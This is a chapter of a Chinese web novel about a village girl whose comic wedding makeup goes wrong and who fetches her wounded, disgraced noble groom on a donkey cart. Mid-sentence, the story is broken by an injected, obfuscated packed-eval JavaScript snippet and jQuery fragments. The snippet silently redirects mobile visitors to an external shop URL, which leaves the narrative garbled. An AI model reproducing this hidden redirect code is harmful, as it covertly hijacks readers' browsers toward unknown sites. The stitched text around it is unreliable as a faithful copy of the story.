文趣网 > 其他小说 > 折辱高门公子很容易 > 2. 成亲
    随后几个声音七嘴八舌附和,“是啊!是啊!”

    “保准给新娘子打扮得漂漂亮亮!”

    “嘘,说了不要漂亮……”

    “哦哦,是给新娘子打扮得喜气,喜气!”

    林葵:“?”

    婚事仓促,林葵什么都没准备,但陈里正已经连夜给她张罗好了。

    不但有人给她梳头打扮,还有专人满屋子贴囍字,就连村里难得一见的龙凤蜡烛都弄来了一对,就摆在她屋子里的梳妆台上。

    林葵被按在泛黄的铜镜前,通发绞脸,上粉抹腮红,半个时辰过去,她终于鼓起勇气睁开眼睛,吓了一大跳。

    她很想问一句,裴世子是不是已经死了,他们打算给他配个冥婚?

    林葵指着镜子里的丑八怪问:“这好看吗?”

    给她擦粉的婶子睁着眼睛说瞎话:“好看啊。”

    林葵道:“我觉得不好看。”

    婶子拉着其他人干笑道:“我们都觉得好看。”

    林葵肯定道:“难看得像鬼。”

    婶子们:“……”

    还给她说对了,她们就是往鬼脸的方向卖力的。

    “哎呀,这样多精神啊!”她们不由分说给林葵换上一套红色的喜服,衣服不合身,腰的位置特别宽松,婶子们用别针收紧了腰,又给她当场改了裙子长短,免得拖在地上不好行走。

    收拾完已经是巳时,里正过来,冷不丁见到林葵的脸吓得捂紧心脏,像个陀螺踮起脚尖转了三圈,“老天……”

    林葵嘻嘻道:“我要随机去吓几个小孩。”

    婶子们赶紧松口:“小葵,要不还是洗把脸吧!”

    万一把村里的小孩吓出个好歹怎么办?

    林葵从善如流洗掉脸上的浓妆,素着脸,婶子们在她脸颊上涂了两团胭脂,说是增添喜气。

    林葵对着镜子仔细看,自己像被人左右开弓扇了十几个嘴巴子,脸皮红得发光,估计天黑都不用点烛,她的脸蛋堪比太阳。

    里正捂着胸口过来看了眼,点点头。

    有点丑但不是太吓人了。

    实话说刚那个妆容让他心跳骤停,差点以为就此要去见太奶了。

    在林葵打扮的时间里,荷花村其他人也没闲着,林家小院子外摆满桌子,都是各家各户从自己屋子里搬出来的,连菜都是自家备自家的。

    这样不伦不类的婚宴谁也没见过,大人们交头接耳偷笑,小孩们倒是觉得新奇好玩,跑来窜去。

    到了时间,林葵这个新娘还有正事要做,牵着驴车往外走,乡亲们纷纷搬桌子挪凳子给她让路。

    “葵姐姐你要去哪里?新郎官呢?”两三个小孩跟着林葵跑。

    林葵转过猴屁股脸道:“正要去接。”

    小孩们看一眼,捂着嘴切切笑,再看一眼,又切切笑,像是几只小蜜蜂嗡嗡。

    林葵用手指在脸颊上按了下,飞快就点到一小女孩眉心上。

    小姑娘“呀”了一声,林葵笑眯眯道:“好看。”

    另外两个小孩看了眼同伴粗糙的眉心红点,也甭管好不好看,立刻叫道:“我也要我也要!”

    林葵笑眯眯给她们都点上了,又来了几个小孩闹着要点红点,林葵一一满足,两团火红的胭脂很快就薄了下去。

    “葵姐姐,不是应该新郎官骑着马来接新娘子吗?戏曲里都是这么演的,怎么是你去接新郎官啊?”

    林葵道:“因为我比较厉害。”

    “厉害的新娘子都是自己去接新郎官的!”

    “哇!——那我以后也要牵着驴车去接新郎官!”小姑娘刚大声宣布完自己的伟大梦想就被自己的娘拍着屁股带走了。

    “好的不学尽学坏!”

    小孩儿哪还有什么是非对错,只是因为林葵说得理直气壮、信心满满,她就以为是好的。

    林葵甩开了看热闹不嫌事多的孩子们,坐上小板车,挥起小皮鞭赶着高兴往村口走。

    昨日才下过小雨,地上还有泥泞,板车的车轮一会陷进泥里一会滚起泥巴,走得摇摇晃晃。

    经过荷塘,清风送来荷叶荷花的清香,再过一个月就能采莲蓬吃莲子,林葵看着诗人雅客眼中荷叶碧连天的美景,琢磨着今年要多剥些莲子晒干,可以吃更久。荷叶能做荷叶鸡也可以晒上一些……

    顺着荷塘往右,有一条岔路,林葵看见地面有很深的车轮痕迹,就好像曾经有一辆马车在这里停留了很久,连大雨都没能完全冲掉。

    马车肯定很奢华,因为那车轮的印迹甚至还带有花纹,谁会闲着无聊费事费钱在车轱辘上雕花?

    林葵探头往路里头看。

    这条路通往杜家的小院,已经很久没有人住了,只有半人高的荒草随风轻摇,掩映着远处焦黑颓败的屋木。

    林葵收回目光,驱使懒驴重新迈开腿。

    原以为村口会有很多人和东西,但林葵只见到两匹马两个人,一人坐在马背上,另一个坐在地上。

    林葵先看坐地上的,因为那人穿红衣,更像新郎官。

    新郎官的脑袋歪靠在树干上,两腿一曲一伸,在他伸直的腿边上草叶还沾染了斑驳血迹。

    林葵马上知道板车的用处了。

    不是用来搬运礼物而是用来拉她伤残的“夫君”。

    贵人还真贴心,体贴她一姑娘家抗不动这么长一个人,叫她带辆车来啊。

    侍卫道:“林姑娘,你来迟了。”

    他准时送来,已经在村口等了两刻钟,太阳晒得他满脸冒油,后背发炸,感觉痱子就在他等待的漫长时间里一颗一颗长满他的后背!

    林葵道:“怎么不是你来早了?姑娘成亲是要打扮的!”她指了指自己的脸。

    侍卫嘴角抽搐:“恕我直言,林姑娘还不如别打扮。”

    林葵点点头:“你们主子的审美。”

    侍卫:“……”

    他也懒得和一村姑掰扯,从怀里掏出两件东西。

    一份是林葵要的永业田地契,另一份是婚契。

    林葵先打开地契装模作样看了看,紧接着又打开婚契看了看,看不懂,回头去问问里正。

    把两样都收进驴背上的褡裢里,然后对侍卫扬了下下巴:“帮我把他抬上车吧。”

    侍卫无语了一阵,但看见林葵一身喜服,还是翻身下马帮她把昏迷的裴世子搬上车板。

    昏死的人特别沉,林葵搭了把手帮忙抬上车,又拨开裴世子额头覆盖的乱发,看清这位落难公子的样貌。

    文人传什么金质玉相、风神秀骨的词都太晦涩难懂,要林葵来形容裴世子的样貌就是皮肤白而且细腻,像一匹上好的细娟,眉毛很黑,每一根短毛都整整齐齐排着,睫毛又浓又密,但看这眼睫毛还以为是姑娘家的眼。鼻梁高挺,形如悬胆,嘴唇厚薄适度,形状挺好看就是干裂起皮,看起来很久没喝水。身材不胖不瘦,肩膀宽、腰部收窄,腿很长,已经伸出了板车。

    若他是迈着两条腿走在路上的俊公子,林葵肯定也会回头多看两眼,但是他半死不活躺在她的驴车上,林葵只想着万一他死了,得挖多大的坑才能埋下他啊。

    “他在发烧。”林葵道。

    侍卫道:“我知道。”

    林葵不再多说,“你回去吧。”

    侍卫本来还要交代一两句主子的吩咐,但他看了眼板车上烧得神志不清的裴世子,似

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672164|207386||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乎又觉得那些交代是多余的。

    一个万念俱灰又伤重高热的人兴许都活不过这几日了。

    他从马鞍上解下一个小包裹放在昏迷不醒的裴世子身边。

    那是三皇子特意恩许他带出上京的随身物品,都是世子从前惯用的日常品。

    不过这根本不是恩赏,而是一种讽刺。

    因为裴世子今后也用不上这些了。

    林葵没翻裴世子的包裹,拉着高兴掉了个方向,紧接着头也不回离开村口。

    叮当——叮当——

    铜铃声很吵。

    裴琤浑浑噩噩,挣扎出零星意识。

    他在哪?

    早晨他被提出大牢,他们把他扔到马背上……

    他好像听见了几个字……荷花村?

    是了,三皇子为了折辱他,让他和一名荷花村的村姑成亲。

    没有媒妁之言父母之命,也没有三书六聘,甚至他连姑娘的姓名都不知道。

    父亲母亲失踪,妹妹被投入教坊司,而他现在却荒唐地要和一陌生女子成亲?

    裴琤努力扭过脑袋,视线时而模糊时而清晰,他眯起眼努力了很久,只能分辨出是一头花皮驴拖着板车,还有一位红衣的姑娘牵着驴。

    道路坎坷不平,板车摇晃不断。

    姑娘的声音很甜,就是不知道和谁在嘀咕嘀咕说着话。

    “高兴,你说为什么非要选我呢?”

    “哎,不用太好看,但起码要健康能够干活的吧?那贵人丢了个中看不中用的给我,还不知是折辱谁?我看是要折辱我呀!”

    “打成这样是要我自掏腰包给他治伤吗?真头大。”

    “你个蠢驴也敢笑话我?四条腿都走不利索!昨日两把黑豆是不是白喂了!你跑什么,你说是不是白喂了?”

    ……竟是在和驴说话?

    裴琤已经不想再费劲去看这个村姑的模样。

    和一头驴说话的姑娘能有多正常?

    烂泥的恶臭、牲口的膻腥,莫名的焦味,就好像还开化的地界,正在一点点吞噬他。

    他沉入这个泥沼,再不能翻身。

    裴琤绝望地闭紧眼睛。

    这时一个女童的声音响起:“葵葵姐,这就是你的新郎官啊!”

    “是啊。”

    “葵姐姐,他怎么在睡觉啊?这么懒的汉子我娘说要不得。”

    “唔……他赶路过来累了。”

    “他的腿在流血,是不是废了?”

    “他不舒服,是病了吗?”

    “他叫什么名字?会赶牛吗?会抓鱼吗?”

    裴琤也不知板车边上有多少个人,只听见叽叽喳喳的声音层层围绕着他,无数双眼睛正看着他的狼狈。

    而那些笑声、话语都格外刺耳。

    他费力地抬起一只手压在眼睛上,恨不得彻底昏迷过去,或者干脆死去。

    这时他听见那姑娘突然问:“我屋里有一块饴糖谁想要?”

    小孩们乱七八糟喊:“我要!”“我要!”

    姑娘宣布:“谁跑最快给谁!”

    一群小孩呼啦啦跑远了。

    突然有东西盖到他脸上。

    视线陡然变得昏暗,而荷叶的清香包围了他。

    每年夏日,候府的莲池里都会展满碧绿的圆盘,高低起伏,随风舒卷,犹如绿色的波涛。

    他时常坐在湖心亭里,或练字或抚琴……

    这片荷叶让他恍惚回到过去悠闲的时光。

    林葵听到病人的呼吸声总算不像是中暑的狗了,大松口气,把另一片荷叶顶在自个脑袋上心想:

    折辱一位高门公子实在太容易了!